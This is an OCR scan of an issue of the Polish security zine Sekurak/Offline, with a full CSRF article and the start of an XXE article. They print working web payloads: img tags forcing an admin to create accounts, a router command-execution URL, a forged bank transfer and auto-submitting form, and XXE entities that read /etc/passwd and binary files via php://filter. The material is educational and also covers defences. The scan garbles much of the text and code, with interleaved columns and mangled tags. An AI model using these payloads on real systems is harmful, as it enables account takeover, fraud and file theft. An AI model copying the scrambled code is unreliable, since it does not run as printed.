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MICHAL SAJDAK

SEKURAK/OFFLINE STARTUJE

Wreszcie doczekalismy sie pierwszego numeru dtugo za-
powiadanego sekurak-zina. l[dea magazynu jest prosta

- chcemy zbierac interesujace teksty z danego obszaru
Zwigzanego z bezpieczenstwem IT, a nastepnie udostepniac
je w profesjonalnym wydaniu.

Pierwszy numer zina skupia sie na tematyce aplikacji webo-
wych. Jest troche podstaw, ale tez kilka bardziej zaawanso-
wanych tekstow. Mamy réwniez materiaty zupetnie premie-
rowe, jak chocby opis znalezionych przez nas podatnosci we
frameworku Nuxeo. Wystarczy przeczytac¢ od deski do deski
caty numer i obiecuje, ze nauczycie sie czego$ nowego.

JesliWam mato, to jednoczesnie oddajemy nowe zadania
w platformie hackme/CTF - rozwal.to. Mozna tu na zywo
przetestowac swojg wiedze z obszaru ITsec (réGwniez w te-
matyce bezpieczenstwa aplikacji webowych).

Sekurak/Offline udostepniamy bezptatnie, zachecamy do
dzielenia sie zinem ze znajomymi.

Do pobrania nie jest wymagany adres e-mail, ale mozecie
zapisac sie na autopowiadomienie o kolejnych numerach.
Masz pytania? Prosby? Chciatbys$ podzieli¢ sie uwagami?
Czekamy na Twoj kontakt (sekurak@sekurak.pl).
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Tresci zamieszone w Sekurak/Offline stuzg wytgcznie celom informacyjnym oraz edukacyjnym.
Nie ponosimy odpowiedzialnosci za ewentualne niezgodne z prawem wykorzystanie
materiatéw dostepnych w zinie oraz ewentualne szkody czy inne straty poniesione w wyniku
wykorzystania tych materiatéw. Stanowczo odradzamy dziatanie niezgodne z prawem czy
dobrymi obyczajami.

Wszelkie prawa zastrzezone. Kopiowanie dozwolone (a nawet wskazane)
—tylko w formie niezmienionej i w catosci.
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Czym jest
podatnosc¢ CSRF...?
Michat Sajdak

W bazie tekstow portalu seku-
rak.pl zamieSciliSmy juz opisy
kilku podatnosci wystepujacych
w aplikacjach webowych: XSS,
SQL injection...

Czym jest SQL
injection?

Michat Sajdak
To jedna z dos¢ czestych i jedno-
cze$nie niebezpiecznych podat-
nosci w aplikacjach webowych

(oraz niewebowych). Nie bez po-
wodu SQL injection nalezy do...

PHP

Object Injection...
Michat Bentkowski

Wyszukiwanie ,,PHP Object
Injection” w Google'u zwraca
tez wyniki dla frazy , dependen-
cy injection”. W rzeczywistosci
»object injection” i...

Problemy z XXE

(XML eXternal Entity)
Michat Bentkowski

Podatnosci zwigzane z XXE (XML
eXternal Entity) ostatnio zdo-
bywajg coraz wiekszga ,popular-
nos¢” w aplikacjach interneto-
wych...

Czym jest
XSS?
Michat Sajdak

O btedzie Cross-Site-Scripting
napisano juz zapewne wiele
powiesci. Podatnos¢ ta jest tez
czestym przedmiotem zartow.
Osoby zajmujace sie...

PHP Object Injection

i ZendFramework2
Michat Bentkowski

Podatno$¢ PHP Object Injection
jest juz czytelnikom Sekuraka
znana; opisywali$my jg, poka-
zujac na przyktadzie btedu tego
typu w Joomli jak...

Czym jest Content
Security Policy?

Rafat 'bl4de’ Janicki
W dobie coraz powszechniej-
szych zagrozen, czyhajacych na
nas w cyberprzestrzeni, coraz

bardziej istotng kwestig staje sie
poziom zabezpieczen...

Pozwalasz tadowac pliki

SVG? Masz XSS-a!
Adrian "“Vizzdoom” Michalczyk

Dodawanie plikéw przez uzyt-
kownikéw web aplikacji wigze
sie zwieloma zagrozeniami.
Pentesterzy w tym obszarze cze-
sto szukaja luk...

OWASP AppSensor
— obron swojg aplikacje
Bartosz Jerzman
Projekt AppSensor zostat ofi-
cjalnie dotgczony do grupy
flagowych (flagship) projektow
organizacji OWASP. Celem tego
projektu jest integracja...
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HSTS czyli HTTP Strict

Transport Security
Piotr Bratkowski

W kolejnym odcinku opisujacym
nagltéwki HTTP zwigzane z bez-
pieczenstwem webowym skupi-
my sie na HSTS czyli HTTP Strict
Transport Security...

Wprowadzenie do
narzedzia Burp Suite
Adrian "“Vizzdoom” Michalczyk

PoSrednik HTTP analizujg-

cy ruch miedzy przegladarka

a serwerami WWW jest podsta-
wowym narzedziem pracy teste-
ra web aplikacji. Burp Suite...

Bledy bezpieczenstwa
we frameworku Nuxeo
Michat Bentkowski

Kilka miesiecy temu przeprowa-
dzali$my og6lng analize bezpie-
czenstwa frameworka Nuxeo.
Nuxeo to aplikacja typu ECM
(Enterprise Content...
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Czym jest podatnos¢ CSRF
(Cross-Site Request Forgery)?

W bazie tekstow portalu sekurak.pl zamiesciliSmy juz opisy
kilku podatnosci wystepujacych w aplikacjach webowych:
XSS, SQL injection, XPATH injection, PHP Object Injection,
RCE poprzez deserializacje obiektow w Pythonie czy XXE. Te-
raz czas na kolejny problem: CSRF.

v Poprzeczytaniu tekstu bedziesz wiedziat:

© «@ymjest podatnosc CSRF,
© jakwygladaja przyktadowe scenariusze ataku,
© jak CSRF wykorzystywany jest jednoczesnie z innymi podatnosciami,
© jaksie chronic.
WSTEP

CSRF (Cross-Site Request Forgery; alternatwnie uzywane nazwy: XSRF, session ri-
ding czy one-click attack) to chyba jedna z najmniej rozumianych podatnosci opi-
sywanych w ramach stynnego projektu OWASP Top Ten. Czesto mylona jest z podat-
noscig XSS, czasem réwniez prezentowana jednoczesnie z innymi podatnosciami,
co tez zaciemnia obraz problemu.

Na czym wiec polega istota tej podatnosci? Definicja OWASP mowi tak:

A CSRF attack forces a logged-on victim’s browser to send a forged
HTTP request, including the victim’s session cookie and any other au-
tomatically included authentication information, to a vulnerable web
application. This allows the attacker to force the victim’s browser to
generate requests the vulnerable application thinks are legitimate requ-
ests from the victim.

Czyli w wolnym ttumaczeniu: jest to zmuszenie przegladarki ofiary do wyko-
nania pewnej nieautoryzowanej akcji (wykonania requestu HTTP). Zauwazmy
przy okazji, ze jest to atak na przegladarke internetowa (a nie cze$¢ serwerowg
aplikacji webowej; dla serwera requesty powstate w wyniku ataku to w petni legalna
komunikacja z przegladarki uzytkownika).

CSRF nie nalezy myli¢ z atakiem Man-in-The-Browser, gdzie atakujacy tez moze
wptywad na dziatanie przegladarki, ale wiagze sie to z wczesniejszym zainstalowa-
niem w systemie ofiary malware. W przypadku CSRF system, jak i przegladarka ofia-
ry nie sg w zaden sposéb trwale modyfikowane. Wykorzystana jest po prostu pewna
wiasciwosc architektury web i przegladarek internetowych.

CSRF to réwniez nie to samo co XSS. Jedli mamy XSS-a - to da sie zrealizowac
CSRF, ale jedli nasza aplikacja podatna jest na CSRF - to niekoniecznie musimy by¢
podatni na XSS. Z kolei sam Cross-Site Scripting moze stuzy¢ do ominiecia metod
ochrony przed CSRF (szczegdty w dalszej czesci tekstu).

Chyba najlepiej uczy¢ sie na konkretnych przyktadach, zobaczmy wiec od razu
pierwszy scenariusz wykorzystania podatnosci CSRF, zmuszajacy przegladarke admi-
nistratora aplikacji webowej do wykonania requestu http, ktéry doda w niej nowego
uzytkownika.

PRZYKEAD 1. PANEL ADMINISTRACYJNY FORUM

W tym przypadku dostepng mamy aplikacje (forum dyskusyjne) pod jedng domena.
Panel administracyjny posiada ograniczony dostep (logowanie tylko z okreslonej
puli adreséw IP). Atakujacy bedzie chciat zmusi¢ przegladarke administratora (wy-
korzysta¢ podatno$¢ CSRF) do zarejestrowania nowego konta (Rysunek 1).
Catos¢ odbywa sie w kilku krokach:
1. Atakujacy rejestruje konto, podajac w swoim loginie tag: <img src="http://pro-
forum.sekurak/admin/addUser?login=malgorzata4&pass=1234&type=adm”>
2. Mozliwe sq tu réwniez inne sposoby ataku (tag <img> to tylko przyktad).
3. Administrator loguje sie oraz wchodzi na strone z akceptowaniem nowych kont.
4. Podczas proby pobrania obrazu z tagu <img>, przegladarka administratora reali-
zuje automatycznie request do panelu administracyjnego (mamy tu CSRF) - i tym
samym tworzy nowe konto w systemie o uprawnieniach administracyjnych.
5. Aby atakujacy mogt sie zalogowac, wystarczytoby jeszcze raz wykorzysta¢ CSRF
do wykonania np. requestu usuwajgcego blokade na IP uzytkownika.
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Administracja dostepna tylko z

[
ograniczonej puli adresow IP =~ @

W takim scenariuszu moze by¢ atakowany w zasadzie dowolny panel admini-

|

|

|

|

Zalogowany administrator zatwierdza nowe loginy: :
wchodzi na strone z akceptacjg nowego loginu. !
|

|

|

|

|

|

|

|

|

|

Atakujacy rejestruje konto w forum z loginem N /
Edyta5 <img src="https://pro-forum.sekurak/admin/
addUser?login=malgorzata4&pass=1234&type=adm”>

1. CSRF — przyktad.

Whioski:
1. Atak zadziatat, mimo tego ze ofiara poczatkowo nawet nie mogta dostac sie do

stracyjny aplikacji webowej, ktéry przetwarza (np. wyswietla) pewne dane kontro-
lowane od uzytkownika.

czej. Zobaczmy wiec kolejny przyktad.

PRZYKLEAD 2. CSRF I ROUTER DOSTEPOWY DO INTERNETU

Tym razem przesledzmy scenariusz wykorzystujgcy dwie domeny (pod jedng jest
atakowany system, drugi to domena pomocnicza z wprowadzonymi przez atakuja-
cego pewnymi zmianami). Ponadto scenariusz ten wykorzystuje poza CSRF jeszcze
dodatkowe podatnosci w aplikacji webowej.

Podatnosci w routerze ASMAX
Jaki$ czas temu udato mi sie znalez¢ kilka btedéw bezpieczenstwa w routerze
ASMAX (podatnosci te swoja droga nie zostaty chyba do dzisiaj zatatane). Najistot-
niejsza z nich byta mozliwos¢ wykonania kodu w systemie operacyjnym routera
z odwotaniem sie bez uwierzytelnienia do zasobu /cgi-bin/script - na przyktad
w sposob zaprezentowany na Rysunku 2.

@ Strona HTML $ciagana jest do przegladarki Z przyktadu wida¢, ze domyslnie aplikacje webowe sa na CSRF podatne (chyba Czym jest podatnos¢ CSRF

administratora. S . o (Cross-Site Request Forgery)?

ze uzyty osobnych bibliotek czy mechanizmoéw ochronnych) - po prostu w ten spo- q gerys:
Przegladarka chce pobraé zawartosé tagu <img>, séb zostata zaprojektowana architektura web. p
o odalurle w locinie) o 8 ko ‘ _ . ) ' roblemy z XXE
@ oo amuszente przecladark admimtrators. W tym momencie moze tez powstac pytanie: co bytoby w przypadku, gdyby (XML eXternal Entity)
i i | . . . . ;. . .
(CSRF) do ka:::tr:«'; ;ﬂn?i:?:tt;::i"’::ﬁﬂﬂ“g" “°‘:f° i aplikacja odpowiednio filtrowata wartosci przekazywane przez uzytkownika do _
a pola login? CSRF rowniez bytby mozliwy — ale sciezka ataku wygladataby nieco ina- Czym jest

Content Security Policy?

HSTS czyli
HTTP Strict Transport Security

Czym jest SQL injection?
Czym jest XSS?

Pozwalasz tadowac pliki SVG?
Masz XSS-a!

Wprowadzenie do narzedzia
Burp Suite

PHP Object Injection
- mato znana klasa podatnosci

panelu administracyjnego (ograniczenie na adres IP). Mielismy wiec tutaj dwie podatnosci: PHP Object Injection
2. W ataku nie zostat wykorzystany javascript. 1. wstrzykniecie kodu systemu operacyjnego, i ZendFramework2
3. W ataku nie zostata wykorzystana podatnosc XSS (cho¢ gdyby ona byta dostepna 2. ominiecie uwierzytelnienia (a de facto jego brak). OWASP AppSensor

w aplikacji - mozna by rowniez zrealizowa¢ CSRF — wykonujac odpowiedni requ-
est za pomoca javascript).

4. Atakujacy nie znat loginu ani hasta administratora.

5. W logach serwera www jako zrédtowy adres IP requestu, ktory dodat nieautory-
zowanego uzytkownika widoczny bedzie realny adres IP atakowanego admini-
stratora (nie bedzie to wiec adres IP atakujacego).

6. Atakujacy nie widzi odpowiedzi na request, do ktérego wykonania zostat zmu-
szony administrator, ale nie ma to wptywu na skutecznos¢ ataku.

Podatnosci w routerze ASMAX - CSRF

Jak ma sie do tego omawiany CSRF? Zobaczmy przyktadowy scenariusz ataku na

urzadzenie, przy dodatkowym zatozeniu, ze panel zarzadczy urzadzenia w ogdle

nie jest dostepny z poziomu Internetu. Atak ten skutkowat bedzie nieograniczo-

nym dostepem (jako root) na systemie operacyjnym urzadzenia (Rysynek 3).
Catos¢ ataku odbywa sie w kilku krokach (cyfry 1-4 na zrzucie ekranowym obok):

1. Atakujacy umieszcza na dowolnej stronie webowej tag <img> z parametrem

- obron swojqg aplikacje

Btedy bezpieczenristwa
we frameworku Nuxeo

g
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= | @ 192.168.1.1/cgi-bin/scriptisystem ps aux

PID Uid VmSize 3tat Command
1 root 1304 3 init
2 root 3 [kewventd]
3 root g [ksoftirgd CPUO]
4 root 3 [kswapd]
5 root 3 [bdflush]
6 root 3 [kupdated]
T root 3 [mtdblockd]
34 root 2780 3 fusr/bin/cm pc
36 root 1304 3 init
37 root 1192 8 Jusr/sbin/thttpd -d Jusc/www -u oot -p 80 -c fcgi-b
38 root 3616 3 fusr/bin/cm_logic -m /dev/ticfg -c /etc/config.xml
60 root 608 & fusr/bin/cem klogd /dev/klog
64 root 1668 3 Jusr/sbin/snmpd
164 root 684 3 Jusr/sbin/udhcpd Svar/tmp/udhepd.conf
169 root 640 5 /sbin/dproxy -c fetc/dproxy.conf -d
237 root 1320 8 /bin/sh script system ps aux
238 root 1192 s Jusr/sbin/thttpd -d Jusr/www -u root -p 80 -c fcogi-b
250 root 1304 R /bin/ps aux

\

2. 0S Command Exec — ASMAX router.

Wykorzystanie CSRF do ataku na
router niedostepny w Internecie

<img src="http://192.168.1.1/cgi-bin/script?system reboot”>

" Ofiara wchodzi na strong

.~ testowa.com i $ciaga strone HTML

. : <irma> .
Umieszczenie tagu <img na swoj komputer

na stronie testowa.com

i Przegladarka renderuje obrazek,

i ale de facto wykonuje request do routera.

3 CSRF - przegladarka zostata zmuszona do wykonania
3 nieautoryzowanej akcji.

3. Przyktad CSRF — ASMAX router.

src kierujacym do sieci lokalnej, a dokfadnie na: “http://192.168.1.1/cgi-bin/
script?system reboot”.

. Ofiara wchodzi na ww. strone (musi zosta¢ do tego naktoniona; to czesty wymaog

CSRF) - strona HTML wraz z obrazkiem $cigga sie na komputer ofiary (aby zosta¢
w kolejnym kroku wyrenderowana).

. Podczas préby pobrania obrazka przegladarka wykonuje request do routera (tu-

taj przegladarka zostata zmuszona do wykonania nieautoryzowanej akcji w obre-
bie LAN) — CSRF!

. Router rebootuje sie (lub wykonuje dowolne polecenie zaszyte w punkcie 1. obrazka).

Zauwazmy przy okazji:

1.

o A W N

N O

Aby wykonac skuteczny atak, ofiara nie musiata by¢ zalogowana do routera (wyko-
rzystany zostat tutaj fakt, ze dostep do /cgi-bin/script nie wymaga uwierzytelnienia).

. W ataku nie zostat wykorzystany javascript.

. W ataku nie zostata wykorzystana podatnosc¢ XSS.

. Atakujacy nie znat loginu ani hasta administratora routera.

. Atak sie powiodt mimo niedostepnosci panelu administracyjnego urzadzenia

z poziomu Internetu.

. Atak wymagat naktonienia ofiary do odwiedzenia innej strony.
. Zamiast wykonania polecenia reboot — mogtoby zosta¢ wykonane dowolne inne

polecenie w OS routera - np. dociggniecie zewnetrznego pliku binarnego (back-
doora) czy odblokowanie dostepu do panelu administracyjnego.

CSRF na urzqdzeniu sieciowym - alternatywny scenariusz
Nawet w konsoli webowej routera nie udato sie znalez¢ podatnosci umozliwiaja-
cej nieuwierzytelnione requesty, mozna sprébowac uzy¢ np. takiego obrazka
<img src="http://admin:admin@192.168.1.1/aaa>.

Dla dociekliwych — w zrédle HTML artykutu umiescitem taki obrazek i przegla-

darki zazwyczaj wykonuja request w nim zawarty (wysytajac tez login i hasto - przy
zatozeniu, ze mamy pod takim adresem mechanizm Basic Access Authentication).
Co ciekawe, np. Firefox w przypadku wpisania do paska URL tego adresu
(http://admin:admin@192.168.1.1/aaa), wyswietla komunikat:
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MNastapita proba zalogowania na strong ,192.16§ przy pomocy nazwy uzytkownika ,admin”,
W' ale strona nie wymaga identyfikacji. To moze byé podstep. 1______-_

Czy adres ,192.16¢ ' jest tym, ktdry zamierzano odwiedzic?

| Ta | [ Ne |

Ale gdy ten sam URL zawarty jest w tagu IMG - komunikatu juz nie ma (a request
jest wysyfany). Warto zauwazy¢, ze ta metoda mogtaby tez stuzy¢ do bruteforce'u
hasta dostepowego do router'a (poprzez generowanie duzej liczby tagéw IMG).

PRZYKEAD 3. BANKOWOSC ELEKTRONICZNA

Zobaczmy inny, czesto przytaczany przyktad wykorzystania CSRF — tym razem wy-
magajacy uwierzytelnienia:
Przegladarka ofiary jest zmuszona do wykonania requestu (CSRF) do
@ bankowosci elektronicznej — wykonania przelewu.
I
Uiytkownik'rjest juz zalogowany do bankowosci Irwitgt: ponowne podanie

<img src="http://m6j.bank.lamex/newTrans - ___ __ | loginu nie jest koniecznie,'.
'?frorngmoje_konto&to=konto_atakujacego&amount=99999”> /
I

Ofiara loguje sie do

AN eeeevil-zite.com - . .
N A bankowosci elektronicznej
™
Y
A
N
A
AY
N -
A - - ~a
\ L Y
A \
N ¥ !
A Wianyoa befmtiant W [ Warns e femeetz  \C N g \
Y e aimcin }
A\ : Ten active forum posters will win $500 sach in our :
\
\ sob Saarch i v 3 dudated st of vk |
\\ B Announcement: ira ad-specific car Forums nd Car Tnsurance | I
A
\ T T

;
\ Ofiara wchodzi na innej zaktadce przegladarki do 7
Atakujacy umieszcza na stronie tag <img> zawierajacy eeeevil-zite.com

URL do bankowosci elektronicznej

4. CSRF — bankowos¢ elektroniczna.

W tym przypadku:

1. Atakujacy umieszcza na stronie eeeevil-zite.com tag <img> realizujacy request
odpowiadajacy realizacji przelewu w bankowosci elektronicznej — na swoje kon-
to. Rdwnie dobrze mdgtby to by¢ réwniez samoczynnie wysytajacy sie formularz
typu POST.

2. Ofiara loguje sie do bankowosci elektroniczne;.

. Ofiara wchodzi w innej zaktadce przegladarki na eeeevil-zite.com

4. Ofiara poprzez punkt 3. realizuje nieSwiadomie request (przelew) do swojej zalo-
gowanej sesji w bankowosci elektroniczne;j.

w

Oczywiscie wiekszos¢ systemow bankowosci elektronicznej jest w obecnie chronio-
na zaréwno przed sama podatnoscig CSRF, jak i wymaga dodatkowej autoryzacji
przy przelewie na nieznane konto — przynajmniej tyle mowi teoria ;-)

Zauwazmy rowniez, ze gdyby bankowos¢ przyjmowata requesty HTTP tylko me-
todg POST - na eeeevil-zite.com moglibysmy po prostu uzy¢ odpowiednio spre-
parowany i samoczynnie wysyfajacy sie formularz typu POST. Zatem korzystanie
tylko z requestow typu POST nie chroni przed CSRF. W tym przypadku OWASP
podaje taki prosty przyktad:

1. <body onload="document.forms[@].submit()">

2. <form action="http://bank.com/transfer.do"
method="POST" >

<input type="hidden" name="acct" value="MARIA"/>
<input type="hidden" name="amount" value="100000"/>
<input type="submit" value="View my pictures"/>

o v b~ w

</form>

Zobaczmy zatem jakie mamy mozliwe metody ochrony.

METODY OCHRONY PRZED CSRF

Ochrone mozemy tutaj zrealizowa¢ na kilka alternatywnych sposobéw. Jednocze-
$nie warto pamieta¢, ze najistotniejsza jest ochrona funkcjonalnosci (requestéw)
realizujgcych zdarzenia zmieniajace pewne wartosci w systemie (np. realizujace
przelew, zmieniajace hasto itp.) — atakujacy i tak nie widzi bezposrednio wyniku wy-
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konania akgji (widzi to ofiara) — wiec np. CSRF na listowaniu informacji o przelewach
zazwyczaj niewiele daje.

Z drugiej strony — wdrozenie ochrony catego systemu umozliwia jej zapewnienie
np. dla nowych funkcjonalnosci utatwia unikniecie braku ochrony np. dla nowych funk-
cjonalnosci (bo implementujacy zapomniat o problemie). Przejdzmy do konkretow.

Losowe tokeny

Pierwszg zalecang przez OWASP metodg jest wzorzec: Synchronizer Token Pattern,
czyli uzycie losowych tokenéw (ciaggéw znakéw) zwigzanych z zalogowang sesja
(session tokens). Podczas tworzenia zalogowanej sesji uzytkownika generowany jest
ciag znakow, ktory przekazywany jest do kolejnych requestow, np. w taki sposob:

<form action="/transfer.do" method="post">
<input type="hidden" name="CSRFToken"
value="0OWY4NmQwWODE4ODRjN2Q2NT1hMmZ1YWE. ..
wYzUL1YWQwWMTVhM2ImNGYxYjJiMGI4MjJjZDE1ZDZ. ..
MGYWMGEwWOA==">

N O 1 WN R

</form>

Strona obstugujaca formularz musi z kolei sprawdzi¢ czy przekazany token to rze-
czywiscie jest wartos$¢, ktéra zostata wygenerowana przez aplikacje.

Atakujacy oczywiscie nie zna tokena, wiec nie moze przygotowac akcepto-
walnych przez aplikacje requestow GET (,pakowanych” np. w tag IMG) czy POST
(umieszczonych na innej domenie jako automatycznie wysytajacy sie formularz).

Zauwazmy tez, ze wyciek takiego tokena powoduje mozliwos¢ ominiecia ochro-
ny przed CSRF. Przyktadowym scenariuszem wykradajacym od ofiary token moze
by¢ wykorzystanie podatnosci XSS. W takim przypadku strona realizujgca CSRF im-
plementuje dwa kroki:

1. Pobranie tokenu z wykorzystaniem XSS (uzycie XMLHttpRequest i odczytanie
z odpowiedzi tokenu).
2. Wygenerowanie requestu z osadzonym juz tokenem.

Zatem jesli mamy w naszej aplikacji XSS, najprawdopodobniej bedzie mozliwe
ominiecie ochrony przed CSRF.

Jako zwiekszenie poziomu ochrony, OWASP sugeruje réwniez tworzenie toke-
néw nie per sesje, ale per request (tzw. page tokeny). Czyli po wystaniu formula-
rza stary token traci waznos¢, a na stronie wynikowej generowane sg nowe tokeny
(dla miejsc, ktére mozna osiggnac ze strony po wystaniu formularza). Takie dziatanie
moze miec z kolei pewne nieoczekiwane efekty, jesli chodzi o funkcjonalnos¢ apli-
kacji (np. nie bedzie dziatat przycisk ,wstecz” - uzyte na poprzedniej stronie tokeny
juz zostaty uniewaznione...).

Idealnie bytoby réwniez akceptowac wrazliwe akcje uzytkownika tylko meto-
da POST (nawet nie ma potrzeby zawierania tokenéw w requestach typu GET; pa-
mietajmy ze parametry requestow GET czesto domyslnie zapisywane sg w logach
serweréw WWW czy wysytane w nagtéwku HTTP Referer — potencjalnie moga wiec
one w niekontrolowany sposéb wyciekac).

W okresdlonych sytuacjach wygodne moze by¢ rowniez wysytanie tokenéw w Cookies
(ale catos¢ musi bazowac na opisanym wczesniej schemacie: Synchronizer Token Pattern).

Uwaga: samo generowanie tokenéw antiCSRF nie rozwigzuje problemu — nalezy
réwniez koniecznie sprawdzac ich poprawnosé. Niektorzy tworcy CMS-6w na zgto-
szenie podatnosci CSRF reaguja np. tak:

Tokeny antiCSRF mamy, ale jakos tak wyszto Zze zapomnielismy spraw-
dzac ich poprawnosc po stronie serwerowej.

Zreszta zdarza sie to i gigantom, np. Facebookowi (za znalezienie tego CSRF wypta-
cono $5000 w ramach programu bug bounty).

Double Submit Cookies

Ta metoda polega na wysytaniu przez przegladarke uzytkownika samej — losowo
wygenerowanej przez aplikacje wartosci — za pomoca: requestu HTTP oraz ciastecz-
ka. Serwer sprawdza czy warto$¢ zapisana w ciastku (tj. cookie) i wystana w danym
requescie http jest taka sama. Jesli wartosci roznig sie, serwer zgtasza prébe wyko-
rzystania CSRF. Zaletg tej metody jest to, ze nie ma potrzeby zapisywania po stronie
serwera wygenerowanej wczesniej wartosci.

Uzycie gotowych bibliotek
Jesli biblioteka / framework z ktérego korzystamy ma mozliwos¢ ochrony przez
CSRF - uzyjmy jej!
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Przyktad to chocby: django, spring, biblioteka OWASP ESAPI czy r6zne sposoby
radzenia sobie w ASP.NET.

Problemy z XXE
(XML eXternal Entity)
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Czym jest podatnosé CSRF
FODSUMOWANIE Podatnosci zwigzane z XXE (XML eXternal Entity) ostatnio (Cross-Site Request Forgery)?
CSRF nie jest zazwyczaj krytyczna podatnoscia, cho¢ wskazanie jej na liscie OWASP zdobywajg coraz wieksza ,popularnos¢” w aplikacjach inter- Problemy z XXE
Top Ten nie pozwala ignorowac problemu. Zazwyczaj tez do wykorzystania luki po- netowych_ Najczeéciej Wykorzystanie XXE jest sposobem na (XML eXternal Entity)
trzebna jest dodatkowa akcja ze strony ofiary (np. odwiedziny odpowiednio spre- Wykonanie ataku Path Traversal, czasem moze jednak dawaé
parowanej strony), co tez zmniejsza prawdopodobienstwo skutecznego ataku. Pa- wieksze mozliwosci. Przyjrzyjmy sie tematowi z bliska. Czym jest

mietajmy tez, ze bez uzycia dodatkowych srodkéw ostroznosci, wiekszosc¢ aplikacji
webowych jest podatna na CSRF.

Michat Sajdak, radaktor i zatozyciel sekurak.pl oraz rozwal.to. Realizuje testy

KILKA SEOW 0 XML-U

XML jest jezykiem formalnym, ktérego celem jest reprezentowanie danych w struk-
turalizowany sposoéb. Typowy dokument XML moze wygladac nastepujaco:

Content Security Policy?

HSTS czyli
HTTP Strict Transport Security

Czym jest SQL injection?

penetracyjne, prowadzi szkolenia z bezpieczenstwa IT w Securitum. 1. <?xml version="1.0" encoding="UTF-8"?> Czym jest X557
.............................................................................................................. 2. <strony> o
3 st  d="sekurak"> Pozwalasz tadowac pliki SVG?
. strona id="sekura Masz XSS-al
4. <nazwa>Sekurak</nazwa>
5. <url>http://www.sekurak.pl/</url> Wprowadzenie do narzedzia
. Burp Suite
6. <komentarz>I &1t;3 Sekurak!</komentarz>
7. </strona> PHP Object Injection
8. <strona id="owasp"> - mato znana klasa podatnosci
9. <nazwa>OWASP</nazwa> PHP Object Injection
10. <url>https://owasp.org/</url> i ZendFramework2
11. <komentarz />
12. </strona> OWASFiAppS_enso:l' ]
- obron swojg aplikacje
13. </strony>

W pierwszej linii mamy deklaracje XML. Obowiazkowy jest jedynie atrybut version,
ale najczesciej spotyka sie ja takze z parametrem encoding. Nastepnie zdefiniowany
zostaje element gtéwny (root element), ktéry skfada sie z dwéch elementéw <stro-
na>. Elementy <strona> zawierajg po jednym atrybucie (id) oraz trzech elemen-
tach-dzieciach: <nazwa>, <url> oraz <komentarz>.
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https://docs.djangoproject.com/en/dev/ref/csrf/#ajax
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Przyjrzyjmy sie doktadniej elementowi: <komentarz>| &lt;3 Sekurak! </komen-
tarz> w ktérym pojawia sie encja &lt;. De facto encje mozemy traktowac jako ope-
racje w rodzaju,znajdz i zamien”: podczas interpretacji wartosci elementu <komen-
tarz>, encja &lt; zostanie zamieniona na znak <. W powyzszym przyktadzie encja &lt;
byta obowigzkowa ze wzgledu na specjalne znaczenie znaku <. Gdyby wpisac¢ | <3
Sekurak, otrzymalibysmy btad parsera, poniewaz potraktowatby on <3 jako otwar-
cie tagu.

PARSUJEMY XML

Wezmy bardzo prosty skrypt w PHP do parsowania XML-a z powyzszego przyktadu.

<?php

$xml = file get contents('test.xml');

$strony = new SimpleXMLElement($xml);
foreach($strony->strona->komentarz as $komentarz)

vui A W N R

echo "$komentarz\n";

Kod realizuje nastepujace operacje:

1. Czytamy plik test.xml.

2. Interpretujemy jego zawartosc¢ jako XML.

3. Wypisujemy na wyjsciu wartosci wszystkich elementéw <komentarz>.

Zobaczmy co sie stanie, jesli w pliku test.xml umiescimy nasz przyktad.

e# php art.php

Zgodnie z oczekiwaniem, zostat wyswietlony tekst | <3 Sekurak — encja &lt; zostata
zamieniona na znak <.

Oczywiscie standard XML przewiduje mozliwos¢ definiowana wtasnych encji;
mozna to zrobi¢ w elemencie <!DOCTYPE>. Ponizej modyfikujemy przyktad, doda-
jac encje &shp; rozwijang do ,Sekurak Hacking Party” (dla zwieztosci, usunagtem tez
rekord owasp).

<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE strony [
<IENTITY shp "Sekurak Hacking Party">
] >
<strony>
<strona id="sekurak">
<nazwa>Sekurak</nazwa>
<url>http://www.sekurak.pl/</url>

O 00 N OO L1 A W N R

<komentarz>I &1t;3 Sekurak! &shp;</komentarz>

=
(W)

</strona>

=
=

</strony>

Dodatem wspomniang encje oraz odniesienie do niej w tagu <komentarz>. Zobacz-
my jak teraz zachowa sie skrypt.

xe# php art.php

ekurak Hacking Party

Swietnie! Encja &shp; zostata zamieniona na,Sekurak Hacking Party”. Jak wida¢, de-
finiujgc takie encje mozemy sobie oszczedzi¢ pisania ;).

Dopiero teraz zacznie sie jednak robic¢ ciekawie. Encje XML-owe moga by¢ takze
importowane z plikow. Zatozeniem tego mechanizmu jest mozliwos¢ utworzenia
pewnych definicji encji, ktére moga by¢ wspétdzielone miedzy wieloma dokumen-
tami, bez potrzeby definiowania ich w kazdym z osobna. Sprébujmy jednak troche
naduzy¢ tej funkdji...

<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE strony [
<IENTITY shp SYSTEM "/etc/passwd">
1 >
<strony>
<strona id="sekurak">

N o v o wWwN R

<nazwa>Sekurak</nazwa>
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<url>http://www.sekurak.pl/</url>

9. <komentarz>I &lt;3 Sekurak! &shp;</komentarz>
10. </strona>
11. </strony>

/bin/bash

Zmienitem definicje encji &shp; — dotozytem stowo SYSTEM (to informacja, ze encja
ma byc¢ pobierana z pliku), a jako plik wskazatem /etc/passwd. Zobaczmy, co sie stanie.
Voila!l WykorzystaliSmy niepozorng interpretacje plikow XML do przeprowadze-
nia ataku Path traversal.
Atak ma jednak ograniczenia, ot6z dotaczane pliki:
» muszg by¢ poprawne w kontekscie gramatyki XML,
» nie moga zawierac bajtu zerowego (\x00).

Zatem czytanie plikéw binarnych w ogdlnym przypadku odpada. Istniejg rézne
mozliwosci obchodzenia tych ograniczen - sg one jednak bardzo mocno zalezne
od uzywanej technologii i biblioteki.

Pokaze, jak w PHP mozna obejs¢ problem z uzyciem wrappera php://filter. Naj-
pierw jednak sprawdzmy, jak zachowa sie aplikacja w przypadku préby dofaczenia
binarnego pliku /bin/bash.

Warning: SimpleXMLElement:: construct():

Préba nieudana. Przygotujmy wiec filtr, ktéry enkoduje wyjscie z czytanego pliku
do base64. Wyglada nastepujaco: php://filter/convert.base64-encode/resource=/
bin/bash

1. <?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE strony [

3. <IENTITY shp SYSTEM “php://filter/convert.base64-encode/
resource=/bin/bash">

4, ] >

5. <strony>

6. <strona id="sekurak">

7. <nazwa>Sekurak</nazwa>

8. <url>http://www.sekurak.pl/</url>

9. <komentarz>I &1t;3 Sekurak! &shp;</komentarz>

10. </strona>

11. </strony>

| zobaczmy, co sie stanie teraz:

A
A
A
A
A
i

Tym razem bez btedéw — mozemy wiec czyta¢ dowolny plik na dysku.

